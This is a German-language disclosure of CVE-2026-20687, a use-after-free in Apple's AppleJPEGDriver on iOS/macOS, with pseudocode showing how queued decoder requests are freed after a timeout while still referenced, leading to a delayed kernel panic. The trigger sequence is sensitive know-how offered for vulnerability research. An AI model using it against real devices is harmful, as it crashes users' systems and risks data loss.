
CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF — iOS/macOS-Kernel-Schwachstelle, die zu einem verzögerten Panic führt (A19 Pro, iOS 26.3 RC)
CVE-2026-20687 | Autor: Johnny Franks (@0xjohnny)
Komponente: Kernel
Auswirkung: Eine App kann eine unerwartete Systembeendigung verursachen oder Kernel-Speicher beschreiben
Beschreibung: Ein Use-after-free-Problem wurde durch verbessertes Speichermanagement behoben.
Dies wird einen Kernel-Panic auf deinem Gerät auslösen. Speichere deine Arbeit.
Getestet auf iOS 26.3 (23D125) auf iPhone18,2 (iPhone 17 Pro Max, A19 Pro).
Direkter Auslöser:
// PoC: initialisiert den Treiber; die Panik wird normalerweise verzögert, bis die Kamera geöffnet wird.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);
// Später löst das Öffnen der Kamera Folgendes aus:
startDecoder_sync();
queue_io_gated(): vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: entfernt NICHT aus der Queue (req + 0x78)
// Noch später (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // veraltet: node_ptr == (freigegebenes req + 0x78)
req2 = *(node_ptr + 0x8); // UAF-Lesezugriff auf req+0x80 -> MTE-Tag-Fault -> Panik
ios-app/Test.xcodeproj in Xcode